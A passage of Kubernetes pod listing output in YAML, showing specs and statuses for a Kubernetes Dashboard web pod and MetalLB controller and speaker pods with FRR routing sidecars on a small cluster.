    - ip: 192.168.133.179
    qosClass: Burstable
    startTime: "2025-11-25T15:22:36Z"
- apiVersion: v1
  kind: Pod
  metadata:
    annotations:
      cni.projectcalico.org/containerID: 37f9b0686a8274952c9aa1ed0902ae458bba6cc1deaf579b868a5ec1a30f6a73
      cni.projectcalico.org/podIP: 192.168.61.228/32
      cni.projectcalico.org/podIPs: 192.168.61.228/32
    creationTimestamp: "2025-10-18T01:08:38Z"
    generateName: kubernetes-dashboard-web-7796b9fbbb-
    generation: 1
    labels:
      app.kubernetes.io/component: web
      app.kubernetes.io/instance: kubernetes-dashboard
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: kubernetes-dashboard-web
      app.kubernetes.io/part-of: kubernetes-dashboard
      app.kubernetes.io/version: 1.7.0
      helm.sh/chart: kubernetes-dashboard-7.13.0
      pod-template-hash: 7796b9fbbb
    name: kubernetes-dashboard-web-7796b9fbbb-9b8kx
    namespace: kubernetes-dashboard
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: ReplicaSet
      name: kubernetes-dashboard-web-7796b9fbbb
      uid: 65ad9e73-9f1e-44c4-addd-d3c770d3af19
    resourceVersion: "18033493"
    uid: d47e0ff4-6ec3-4df2-a6e6-8c9d01b5c74d
  spec:
    automountServiceAccountToken: true
    containers:
    - args:
      - --namespace=kubernetes-dashboard
      - --settings-config-map-name=kubernetes-dashboard-web-settings
      env:
      - name: GOMAXPROCS
        valueFrom:
          resourceFieldRef:
            divisor: "1"
            resource: limits.cpu
      - name: GOMEMLIMIT
        valueFrom:
          resourceFieldRef:
            divisor: "1"
            resource: limits.memory
      image: docker.io/kubernetesui/dashboard-web:1.7.0
      imagePullPolicy: IfNotPresent
      name: kubernetes-dashboard-web
      ports:
      - containerPort: 8000
        name: web
        protocol: TCP
      resources:
        limits:
          cpu: 250m
          memory: 400Mi
        requests:
          cpu: 100m
          memory: 200Mi
      securityContext:
        allowPrivilegeEscalation: false
        capabilities:
          drop:
          - ALL
        readOnlyRootFilesystem: true
        runAsGroup: 2001
        runAsUser: 1001
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /tmp
        name: tmp-volume
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-vkb5w
        readOnly: true
    dnsPolicy: ClusterFirst
    enableServiceLinks: true
    nodeName: k8s-m-2
    preemptionPolicy: PreemptLowerPriority
    priority: 0
    restartPolicy: Always
    schedulerName: default-scheduler
    securityContext:
      runAsNonRoot: true
      seccompProfile:
        type: RuntimeDefault
    serviceAccount: kubernetes-dashboard-web
    serviceAccountName: kubernetes-dashboard-web
    terminationGracePeriodSeconds: 30
    tolerations:
    - effect: NoExecute
      key: node.kubernetes.io/not-ready
      operator: Exists
      tolerationSeconds: 300
    - effect: NoExecute
      key: node.kubernetes.io/unreachable
      operator: Exists
      tolerationSeconds: 300
    volumes:
    - emptyDir: {}
      name: tmp-volume
    - name: kube-api-access-vkb5w
      projected:
        defaultMode: 420
        sources:
        - serviceAccountToken:
            expirationSeconds: 3607
            path: token
        - configMap:
            items:
            - key: ca.crt
              path: ca.crt
            name: kube-root-ca.crt
        - downwardAPI:
            items:
            - fieldRef:
                apiVersion: v1
                fieldPath: metadata.namespace
              path: namespace
  status:
    conditions:
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T13:23:49Z"
      status: "True"
      type: PodReadyToStartContainers
    - lastProbeTime: null
      lastTransitionTime: "2025-10-18T01:12:56Z"
      status: "True"
      type: Initialized
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T13:23:49Z"
      status: "True"
      type: Ready
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T13:23:49Z"
      status: "True"
      type: ContainersReady
    - lastProbeTime: null
      lastTransitionTime: "2025-10-18T01:12:56Z"
      status: "True"
      type: PodScheduled
    containerStatuses:
    - allocatedResources:
        cpu: 100m
        memory: 200Mi
      containerID: containerd://7706493503bed186e01dbc9b476deebd6585790feef417958549ef1a53f5eb37
      image: docker.io/kubernetesui/dashboard-web:1.7.0
      imageID: docker.io/kubernetesui/dashboard-web@sha256:cc7c31bd2d8470e3590dcb20fe980769b43054b31a5c5c0da606e9add898d85d
      lastState:
        terminated:
          containerID: containerd://e9f380298dcc6d1588d004e87ddda11bbe6cfa285ec048391a7b5c4d547261b9
          exitCode: 255
          finishedAt: "2025-11-29T13:23:10Z"
          reason: Unknown
          startedAt: "2025-11-28T12:37:00Z"
      name: kubernetes-dashboard-web
      ready: true
      resources:
        limits:
          cpu: 250m
          memory: 400Mi
        requests:
          cpu: 100m
          memory: 200Mi
      restartCount: 4
      started: true
      state:
        running:
          startedAt: "2025-11-29T13:23:48Z"
      volumeMounts:
      - mountPath: /tmp
        name: tmp-volume
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-vkb5w
        readOnly: true
        recursiveReadOnly: Disabled
    hostIP: 172.16.30.17
    hostIPs:
    - ip: 172.16.30.17
    phase: Running
    podIP: 192.168.61.228
    podIPs:
    - ip: 192.168.61.228
    qosClass: Burstable
    startTime: "2025-10-18T01:12:56Z"
- apiVersion: v1
  kind: Pod
  metadata:
    annotations:
      cni.projectcalico.org/containerID: c46a25c74280e999c0971c87575a227230dc701154b43abae219d80e3aa26535
      cni.projectcalico.org/podIP: 192.168.61.233/32
      cni.projectcalico.org/podIPs: 192.168.61.233/32
    creationTimestamp: "2025-11-04T00:53:29Z"
    generateName: metallb-controller-5754956df6-
    generation: 1
    labels:
      app.kubernetes.io/component: controller
      app.kubernetes.io/instance: metallb
      app.kubernetes.io/name: metallb
      pod-template-hash: 5754956df6
    name: metallb-controller-5754956df6-mx99q
    namespace: metallb-system
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: ReplicaSet
      name: metallb-controller-5754956df6
      uid: e5bd5220-42ab-40c1-9a68-0c93ef400785
    resourceVersion: "18034249"
    uid: 0d6e3bac-8c3f-4f62-8cd3-8060f662dc8d
  spec:
    containers:
    - args:
      - --port=7472
      - --log-level=info
      - --tls-min-version=VersionTLS12
      env:
      - name: METALLB_ML_SECRET_NAME
        value: metallb-memberlist
      - name: METALLB_DEPLOYMENT
        value: metallb-controller
      - name: METALLB_BGP_TYPE
        value: frr
      image: quay.io/metallb/controller:v0.15.2
      imagePullPolicy: IfNotPresent
      livenessProbe:
        failureThreshold: 3
        httpGet:
          path: /metrics
          port: monitoring
          scheme: HTTP
        initialDelaySeconds: 10
        periodSeconds: 10
        successThreshold: 1
        timeoutSeconds: 1
      name: controller
      ports:
      - containerPort: 7472
        name: monitoring
        protocol: TCP
      - containerPort: 9443
        name: webhook-server
        protocol: TCP
      readinessProbe:
        failureThreshold: 3
        httpGet:
          path: /metrics
          port: monitoring
          scheme: HTTP
        initialDelaySeconds: 10
        periodSeconds: 10
        successThreshold: 1
        timeoutSeconds: 1
      resources: {}
      securityContext:
        allowPrivilegeEscalation: false
        capabilities:
          drop:
          - ALL
        readOnlyRootFilesystem: true
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /tmp/k8s-webhook-server/serving-certs
        name: cert
        readOnly: true
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-zgthn
        readOnly: true
    dnsPolicy: ClusterFirst
    enableServiceLinks: true
    nodeName: k8s-m-2
    nodeSelector:
      kubernetes.io/os: linux
    preemptionPolicy: PreemptLowerPriority
    priority: 0
    restartPolicy: Always
    schedulerName: default-scheduler
    securityContext:
      fsGroup: 65534
      runAsNonRoot: true
      runAsUser: 65534
    serviceAccount: metallb-controller
    serviceAccountName: metallb-controller
    terminationGracePeriodSeconds: 0
    tolerations:
    - effect: NoExecute
      key: node.kubernetes.io/not-ready
      operator: Exists
      tolerationSeconds: 300
    - effect: NoExecute
      key: node.kubernetes.io/unreachable
      operator: Exists
      tolerationSeconds: 300
    volumes:
    - name: cert
      secret:
        defaultMode: 420
        secretName: metallb-webhook-cert
    - name: kube-api-access-zgthn
      projected:
        defaultMode: 420
        sources:
        - serviceAccountToken:
            expirationSeconds: 3607
            path: token
        - configMap:
            items:
            - key: ca.crt
              path: ca.crt
            name: kube-root-ca.crt
        - downwardAPI:
            items:
            - fieldRef:
                apiVersion: v1
                fieldPath: metadata.namespace
              path: namespace
  status:
    conditions:
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T13:23:55Z"
      status: "True"
      type: PodReadyToStartContainers
    - lastProbeTime: null
      lastTransitionTime: "2025-11-04T00:53:30Z"
      status: "True"
      type: Initialized
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T13:25:17Z"
      status: "True"
      type: Ready
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T13:25:17Z"
      status: "True"
      type: ContainersReady
    - lastProbeTime: null
      lastTransitionTime: "2025-11-04T00:53:30Z"
      status: "True"
      type: PodScheduled
    containerStatuses:
    - containerID: containerd://9d3812f725f4a91c5ec2e5c005d1f616e7a5070da5f9abffba5e3ef6cdb47d1a
      image: quay.io/metallb/controller:v0.15.2
      imageID: quay.io/metallb/controller@sha256:417cdb6d6f9f2c410cceb84047d3a4da3bfb78b5ddfa30f4cf35ea5c667e8c2e
      lastState:
        terminated:
          containerID: containerd://959165feb016ac486f0d6ae54fc84f1a9762dd516c123bee9fbdc4e7f103553c
          exitCode: 2
          finishedAt: "2025-11-29T13:24:35Z"
          reason: Error
          startedAt: "2025-11-29T13:23:54Z"
      name: controller
      ready: true
      resources: {}
      restartCount: 9
      started: true
      state:
        running:
          startedAt: "2025-11-29T13:24:54Z"
      volumeMounts:
      - mountPath: /tmp/k8s-webhook-server/serving-certs
        name: cert
        readOnly: true
        recursiveReadOnly: Disabled
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-zgthn
        readOnly: true
        recursiveReadOnly: Disabled
    hostIP: 172.16.30.17
    hostIPs:
    - ip: 172.16.30.17
    phase: Running
    podIP: 192.168.61.233
    podIPs:
    - ip: 192.168.61.233
    qosClass: BestEffort
    startTime: "2025-11-04T00:53:30Z"
- apiVersion: v1
  kind: Pod
  metadata:
    creationTimestamp: "2025-11-25T15:22:48Z"
    generateName: metallb-speaker-
    generation: 1
    labels:
      app.kubernetes.io/component: speaker
      app.kubernetes.io/instance: metallb
      app.kubernetes.io/name: metallb
      controller-revision-hash: 7fc7479646
      pod-template-generation: "1"
    name: metallb-speaker-shg5b
    namespace: metallb-system
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: DaemonSet
      name: metallb-speaker
      uid: 3d33e02f-6b43-495c-ab47-c899fc9935bd
    resourceVersion: "18034202"
    uid: f8ef41f2-a8d2-4cea-856c-26fc912dd2e9
  spec:
    affinity:
      nodeAffinity:
        requiredDuringSchedulingIgnoredDuringExecution:
          nodeSelectorTerms:
          - matchFields:
            - key: metadata.name
              operator: In
              values:
              - k8s-m-2
    containers:
    - args:
      - --port=7472
      - --log-level=info
      env:
      - name: METALLB_NODE_NAME
        valueFrom:
          fieldRef:
            apiVersion: v1
            fieldPath: spec.nodeName
      - name: METALLB_HOST
        valueFrom:
          fieldRef:
            apiVersion: v1
            fieldPath: status.hostIP
      - name: METALLB_ML_BIND_ADDR
        valueFrom:
          fieldRef:
            apiVersion: v1
            fieldPath: status.podIP
      - name: METALLB_ML_LABELS
        value: app.kubernetes.io/name=metallb,app.kubernetes.io/component=speaker
      - name: METALLB_ML_BIND_PORT
        value: "7946"
      - name: METALLB_ML_SECRET_KEY_PATH
        value: /etc/ml_secret_key
      - name: FRR_CONFIG_FILE
        value: /etc/frr_reloader/frr.conf
      - name: FRR_RELOADER_PID_FILE
        value: /etc/frr_reloader/reloader.pid
      - name: METALLB_BGP_TYPE
        value: frr
      - name: METALLB_POD_NAME
        valueFrom:
          fieldRef:
            apiVersion: v1
            fieldPath: metadata.name
      image: quay.io/metallb/speaker:v0.15.2
      imagePullPolicy: IfNotPresent
      livenessProbe:
        failureThreshold: 3
        httpGet:
          path: /metrics
          port: monitoring
          scheme: HTTP
        initialDelaySeconds: 10
        periodSeconds: 10
        successThreshold: 1
        timeoutSeconds: 1
      name: speaker
      ports:
      - containerPort: 7472
        hostPort: 7472
        name: monitoring
        protocol: TCP
      - containerPort: 7946
        hostPort: 7946
        name: memberlist-tcp
        protocol: TCP
      - containerPort: 7946
        hostPort: 7946
        name: memberlist-udp
        protocol: UDP
      readinessProbe:
        failureThreshold: 3
        httpGet:
          path: /metrics
          port: monitoring
          scheme: HTTP
        initialDelaySeconds: 10
        periodSeconds: 10
        successThreshold: 1
        timeoutSeconds: 1
      resources: {}
      securityContext:
        allowPrivilegeEscalation: false
        capabilities:
          add:
          - NET_RAW
          drop:
          - ALL
        readOnlyRootFilesystem: true
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /etc/ml_secret_key
        name: memberlist
      - mountPath: /etc/frr_reloader
        name: reloader
      - mountPath: /etc/metallb
        name: metallb-excludel2
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-twmq4
        readOnly: true
    - command:
      - /bin/sh
      - -c
      - "/sbin/tini -- /usr/lib/frr/docker-start \nattempts=0\nuntil [[ -f /etc/frr/frr.log
        || $attempts -eq 60 ]]; do\n  sleep 1\n  attempts=$(( $attempts + 1 ))\ndone\ntail
        -f /etc/frr/frr.log\n"
      env:
      - name: TINI_SUBREAPER
        value: "true"
      image: quay.io/frrouting/frr:9.1.0
      imagePullPolicy: IfNotPresent
      livenessProbe:
        failureThreshold: 3
        httpGet:
          path: livez
          port: 7473
          scheme: HTTP
        initialDelaySeconds: 10
        periodSeconds: 10
        successThreshold: 1
        timeoutSeconds: 1
      name: frr
      resources: {}
      securityContext:
        capabilities:
          add:
          - NET_ADMIN
          - NET_RAW
          - SYS_ADMIN
          - NET_BIND_SERVICE
      startupProbe:
        failureThreshold: 30
        httpGet:
          path: /livez
          port: 7473
          scheme: HTTP
        periodSeconds: 5
        successThreshold: 1
        timeoutSeconds: 1
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /var/run/frr
        name: frr-sockets
      - mountPath: /etc/frr
        name: frr-conf
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-twmq4
        readOnly: true
    - command:
      - /etc/frr_reloader/frr-reloader.sh
      image: quay.io/frrouting/frr:9.1.0
      imagePullPolicy: IfNotPresent
      name: reloader
      resources: {}
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /var/run/frr
        name: frr-sockets
      - mountPath: /etc/frr
        name: frr-conf
      - mountPath: /etc/frr_reloader
        name: reloader
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-twmq4
        readOnly: true
    - args:
      - --metrics-port=7473
      command:
      - /etc/frr_metrics/frr-metrics
      env:
      - name: VTYSH_HISTFILE
        value: /dev/null
      image: quay.io/frrouting/frr:9.1.0
      imagePullPolicy: IfNotPresent
      name: frr-metrics
      ports:
      - containerPort: 7473
        hostPort: 7473
        name: monitoring
        protocol: TCP
      resources: {}
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /var/run/frr
        name: frr-sockets
      - mountPath: /etc/frr
        name: frr-conf
      - mountPath: /etc/frr_metrics
        name: metrics
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-twmq4
        readOnly: true
    dnsPolicy: ClusterFirst
    enableServiceLinks: true
    hostNetwork: true
    initContainers:
    - command:
      - /bin/sh
      - -c
      - cp -rLf /tmp/frr/* /etc/frr/
      image: quay.io/frrouting/frr:9.1.0
      imagePullPolicy: IfNotPresent
      name: cp-frr-files
      resources: {}
      securityContext:
        runAsGroup: 101
        runAsUser: 100
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /tmp/frr
        name: frr-startup
      - mountPath: /etc/frr
        name: frr-conf
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-twmq4
        readOnly: true
    - command:
      - /cp-tool
      - /frr-reloader.sh
      - /etc/frr_reloader/frr-reloader.sh
      image: quay.io/metallb/speaker:v0.15.2
      imagePullPolicy: IfNotPresent
      name: cp-reloader
      resources: {}
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /etc/frr_reloader
        name: reloader
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-twmq4
        readOnly: true
    - command:
      - /cp-tool
      - /frr-metrics
      - /etc/frr_metrics/frr-metrics
      image: quay.io/metallb/speaker:v0.15.2
      imagePullPolicy: IfNotPresent
      name: cp-metrics
      resources: {}
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /etc/frr_metrics
        name: metrics
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-twmq4
        readOnly: true
    nodeName: k8s-m-2
    nodeSelector:
      kubernetes.io/os: linux
    preemptionPolicy: PreemptLowerPriority
    priority: 0
    restartPolicy: Always
    schedulerName: default-scheduler
    securityContext: {}
    serviceAccount: metallb-speaker
    serviceAccountName: metallb-speaker
    shareProcessNamespace: true
    terminationGracePeriodSeconds: 0
    tolerations:
    - effect: NoSchedule
      key: node-role.kubernetes.io/master
      operator: Exists
    - effect: NoSchedule
      key: node-role.kubernetes.io/control-plane
      operator: Exists
    - effect: NoExecute
      key: node.kubernetes.io/not-ready
      operator: Exists
    - effect: NoExecute
      key: node.kubernetes.io/unreachable
      operator: Exists
    - effect: NoSchedule
      key: node.kubernetes.io/disk-pressure
      operator: Exists
    - effect: NoSchedule
      key: node.kubernetes.io/memory-pressure
      operator: Exists
    - effect: NoSchedule
      key: node.kubernetes.io/pid-pressure
      operator: Exists
    - effect: NoSchedule
      key: node.kubernetes.io/unschedulable
      operator: Exists
    - effect: NoSchedule
      key: node.kubernetes.io/network-unavailable
      operator: Exists
    volumes:
    - name: memberlist
      secret:
        defaultMode: 420
        secretName: metallb-memberlist
    - configMap:
        defaultMode: 256
        name: metallb-excludel2
      name: metallb-excludel2
    - emptyDir: {}
      name: frr-sockets
    - configMap:
        defaultMode: 420
        name: metallb-frr-startup
      name: frr-startup
    - emptyDir: {}
      name: frr-conf
    - emptyDir: {}
      name: reloader
    - emptyDir: {}
      name: metrics
    - name: kube-api-access-twmq4
      projected:
        defaultMode: 420
        sources:
        - serviceAccountToken:
            expirationSeconds: 3607
            path: token
        - configMap:
            items:
            - key: ca.crt
              path: ca.crt
            name: kube-root-ca.crt
        - downwardAPI:
            items:
            - fieldRef:
                apiVersion: v1
                fieldPath: metadata.namespace
              path: namespace
  status:
    conditions:
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T13:23:31Z"
      status: "True"
      type: PodReadyToStartContainers
    - lastProbeTime: null
      lastTransitionTime: "2025-11-25T15:22:53Z"
      status: "True"
      type: Initialized
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T13:25:10Z"
      status: "True"
      type: Ready
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T13:25:10Z"
      status: "True"
      type: ContainersReady
    - lastProbeTime: null
      lastTransitionTime: "2025-11-25T15:22:48Z"
      status: "True"
      type: PodScheduled
    containerStatuses:
    - containerID: containerd://47411b9aa192397c619b1889a4f52912ebc830a79ddb4b7ec33e86d4f9c45c6b
      image: quay.io/frrouting/frr:9.1.0
      imageID: quay.io/frrouting/frr@sha256:f310c2ebb3827fa03b9674ee05e70a7d5eef2123bcc3b475eb2ef14dafcb52b4
      lastState:
        terminated:
          containerID: containerd://d77048c9553e936687ac42c2d81f9841ecad1f0cb152c990926c6d9ec299e39f
          exitCode: 143
          finishedAt: "2025-11-29T13:24:27Z"
          reason: Error
          startedAt: "2025-11-29T13:23:37Z"
      name: frr
      ready: true
      resources: {}
      restartCount: 3
      started: true
      state:
        running:
          startedAt: "2025-11-29T13:24:50Z"
      volumeMounts:
      - mountPath: /var/run/frr
        name: frr-sockets
      - mountPath: /etc/frr
        name: frr-conf
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-twmq4
        readOnly: true
        recursiveReadOnly: Disabled
    - containerID: containerd://324cdcc1e9b0a11e1c4ace8b6f4c3c55c234b57fac3a93241c03a8c90e2a474d
      image: quay.io/frrouting/frr:9.1.0
      imageID: quay.io/frrouting/frr@sha256:f310c2ebb3827fa03b9674ee05e70a7d5eef2123bcc3b475eb2ef14dafcb52b4
      lastState:
        terminated:
          containerID: containerd://d06e1bf9cb98b2d7b0c1eb729d28e167d5acfdbd5f702b373596c661d9433881
          exitCode: 255
          finishedAt: "2025-11-29T13:23:09Z"
          reason: Unknown
          startedAt: "2025-11-28T12:36:17Z"
      name: frr-metrics
      ready: true
      resources: {}
      restartCount: 2
      started: true
      state:
        running:
          startedAt: "2025-11-29T13:23:39Z"
      volumeMounts:
      - mountPath: /var/run/frr
        name: frr-sockets
      - mountPath: /etc/frr
        name: frr-conf
      - mountPath: /etc/frr_metrics
        name: metrics
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-twmq4
        readOnly: true
        recursiveReadOnly: Disabled
    - containerID: containerd://424ec6545bdceb06e42b928425261308e1be70faf9fce759be922356f487d66d
      image: quay.io/frrouting/frr:9.1.0
      imageID: quay.io/frrouting/frr@sha256:f310c2ebb3827fa03b9674ee05e70a7d5eef2123bcc3b475eb2ef14dafcb52b4
      lastState:
        terminated:
          containerID: containerd://ff336cee62846fc11b7fadbe2966578b950b391fcc30dc12c9605d26f33a80ee
          exitCode: 255
          finishedAt: "2025-11-29T13:23:09Z"
          reason: Unknown
          startedAt: "2025-11-28T12:36:17Z"
      name: reloader
      ready: true
      resources: {}
      restartCount: 2
      started: true
      state:
        running:
          startedAt: "2025-11-29T13:23:38Z"
      volumeMounts:
      - mountPath: /var/run/frr
        name: frr-sockets
      - mountPath: /etc/frr
        name: frr-conf
      - mountPath: /etc/frr_reloader
        name: reloader
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-twmq4
        readOnly: true
        recursiveReadOnly: Disabled
    - containerID: containerd://f70005d859df49e75099d6d955f7bb791c87b04a350cfe9db173853f94b7a00e
      image: quay.io/metallb/speaker:v0.15.2
      imageID: quay.io/metallb/speaker@sha256:260c9406f957c0830d4e6cd2e9ac8c05e51ac959dd2462c4c2269ac43076665a
      lastState:
        terminated:
          containerID: containerd://a8ac30349a68f39f785579dd097a1e1a2f6e420ff8b2ac3566cc5a3fcc595774
          exitCode: 255
          finishedAt: "2025-11-29T13:23:10Z"
          reason: Unknown
          startedAt: "2025-11-28T12:36:17Z"
      name: speaker
      ready: true
      resources: {}
      restartCount: 2
      started: true
      state:
        running:
          startedAt: "2025-11-29T13:23:36Z"
      volumeMounts:
      - mountPath: /etc/ml_secret_key
        name: memberlist
      - mountPath: /etc/frr_reloader
        name: reloader
      - mountPath: /etc/metallb
        name: metallb-excludel2
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-twmq4
        readOnly: true
        recursiveReadOnly: Disabled
    hostIP: 172.16.30.17
    hostIPs:
    - ip: 172.16.30.17
    initContainerStatuses:
    - containerID: containerd://7a8bd1ecc23837d7c7f42fd735ba611f082612b0b8ba4626ff7ca9b3bc5fe918
      image: quay.io/frrouting/frr:9.1.0
      imageID: quay.io/frrouting/frr@sha256:f310c2ebb3827fa03b9674ee05e70a7d5eef2123bcc3b475eb2ef14dafcb52b4
      lastState: {}
      name: cp-frr-files
      ready: true
      resources: {}
      restartCount: 2
      started: false
      state:
        terminated:
          containerID: containerd://7a8bd1ecc23837d7c7f42fd735ba611f082612b0b8ba4626ff7ca9b3bc5fe918
          exitCode: 0
          finishedAt: "2025-11-29T13:23:31Z"
          reason: Completed
          startedAt: "2025-11-29T13:23:31Z"
      volumeMounts:
      - mountPath: /tmp/frr
        name: frr-startup
      - mountPath: /etc/frr
        name: frr-conf
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-twmq4
        readOnly: true
        recursiveReadOnly: Disabled
    - containerID: containerd://83c24903908db802ead8e8c7848a0df386f2ddf81f535f668a3e4ca1cc406948
      image: quay.io/metallb/speaker:v0.15.2
      imageID: quay.io/metallb/speaker@sha256:260c9406f957c0830d4e6cd2e9ac8c05e51ac959dd2462c4c2269ac43076665a
      lastState: {}
      name: cp-reloader
      ready: true
      resources: {}
      restartCount: 0
      started: false
      state:
        terminated:
          containerID: containerd://83c24903908db802ead8e8c7848a0df386f2ddf81f535f668a3e4ca1cc406948
          exitCode: 0
          finishedAt: "2025-11-29T13:23:32Z"
          reason: Completed
          startedAt: "2025-11-29T13:23:32Z"
      volumeMounts:
      - mountPath: /etc/frr_reloader
        name: reloader
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-twmq4
        readOnly: true
        recursiveReadOnly: Disabled
    - containerID: containerd://d79b2544edbb7756f01508c1f0d436125b85bb4bbe3ac5c202d90e23feffd236
      image: quay.io/metallb/speaker:v0.15.2
      imageID: quay.io/metallb/speaker@sha256:260c9406f957c0830d4e6cd2e9ac8c05e51ac959dd2462c4c2269ac43076665a
      lastState: {}
      name: cp-metrics
      ready: true
      resources: {}
      restartCount: 0
      started: false
      state:
        terminated:
          containerID: containerd://d79b2544edbb7756f01508c1f0d436125b85bb4bbe3ac5c202d90e23feffd236
          exitCode: 0
          finishedAt: "2025-11-29T13:23:35Z"
          reason: Completed
          startedAt: "2025-11-29T13:23:34Z"
      volumeMounts:
      - mountPath: /etc/frr_metrics
        name: metrics
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-twmq4
        readOnly: true
        recursiveReadOnly: Disabled
    phase: Running
    podIP: 172.16.30.17
    podIPs:
    - ip: 172.16.30.17
    qosClass: BestEffort
    startTime: "2025-11-25T15:22:48Z"
- apiVersion: v1
  kind: Pod
  metadata:
    creationTimestamp: "2025-09-21T18:13:53Z"
    generateName: metallb-speaker-
    generation: 6
    labels:
      app.kubernetes.io/component: speaker
      app.kubernetes.io/instance: metallb
      app.kubernetes.io/name: metallb
      controller-revision-hash: 7fc7479646
      pod-template-generation: "1"
    name: metallb-speaker-vmtl7
    namespace: metallb-system
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: DaemonSet
      name: metallb-speaker
      uid: 3d33e02f-6b43-495c-ab47-c899fc9935bd
    resourceVersion: "18008149"
    uid: b8f1ff39-67b8-49dd-9869-c9b4a29fb633
  spec:
    affinity:
      nodeAffinity:
        requiredDuringSchedulingIgnoredDuringExecution:
          nodeSelectorTerms:
          - matchFields:
            - key: metadata.name
              operator: In
              values:
              - k8s-m-1
    containers:
    - args:
      - --port=7472
      - --log-level=info
      env:
      - name: METALLB_NODE_NAME
        valueFrom:
          fieldRef:
            apiVersion: v1
            fieldPath: spec.nodeName
      - name: METALLB_HOST
        valueFrom:
          fieldRef:
            apiVersion: v1
            fieldPath: status.hostIP
      - name: METALLB_ML_BIND_ADDR
        valueFrom:
          fieldRef:
            apiVersion: v1
            fieldPath: status.podIP
      - name: METALLB_ML_LABELS
        value: app.kubernetes.io/name=metallb,app.kubernetes.io/component=speaker
      - name: METALLB_ML_BIND_PORT
        value: "7946"
      - name: METALLB_ML_SECRET_KEY_PATH
        value: /etc/ml_secret_key
      - name: FRR_CONFIG_FILE
        value: /etc/frr_reloader/frr.conf
      - name: FRR_RELOADER_PID_FILE
        value: /etc/frr_reloader/reloader.pid
      - name: METALLB_BGP_TYPE
        value: frr
      - name: METALLB_POD_NAME
        valueFrom:
          fieldRef:
            apiVersion: v1
            fieldPath: metadata.name
      image: quay.io/metallb/speaker:v0.15.2
      imagePullPolicy: IfNotPresent
      livenessProbe:
        failureThreshold: 3
        httpGet:
          path: /metrics
          port: monitoring
          scheme: HTTP
        initialDelaySeconds: 10
        periodSeconds: 10
        successThreshold: 1
        timeoutSeconds: 1
      name: speaker
      ports:
      - containerPort: 7472
        hostPort: 7472
        name: monitoring
        protocol: TCP
      - containerPort: 7946
        hostPort: 7946
        name: memberlist-tcp
        protocol: TCP
      - containerPort: 7946
        hostPort: 7946
        name: memberlist-udp
        protocol: UDP
      readinessProbe:
        failureThreshold: 3
        httpGet:
          path: /metrics
          port: monitoring
          scheme: HTTP
        initialDelaySeconds: 10
        periodSeconds: 10
        successThreshold: 1
        timeoutSeconds: 1
      resources: {}
      securityContext:
        allowPrivilegeEscalation: false
        capabilities:
          add:
          - NET_RAW
          drop:
          - ALL
        readOnlyRootFilesystem: true
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /etc/ml_secret_key
        name: memberlist
      - mountPath: /etc/frr_reloader
        name: reloader
      - mountPath: /etc/metallb
        name: metallb-excludel2
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-7zkks
        readOnly: true
    - command:
      - /bin/sh
      - -c
      - "/sbin/tini -- /usr/lib/frr/docker-start \nattempts=0\nuntil [[ -f /etc/frr/frr.log
        || $attempts -eq 60 ]]; do\n  sleep 1\n  attempts=$(( $attempts + 1 ))\ndone\ntail
        -f /etc/frr/frr.log\n"
      env:
      - name: TINI_SUBREAPER
        value: "true"
      image: quay.io/frrouting/frr:9.1.0
      imagePullPolicy: IfNotPresent
      livenessProbe:
        failureThreshold: 3
        httpGet:
          path: livez
          port: 7473
          scheme: HTTP
        initialDelaySeconds: 10
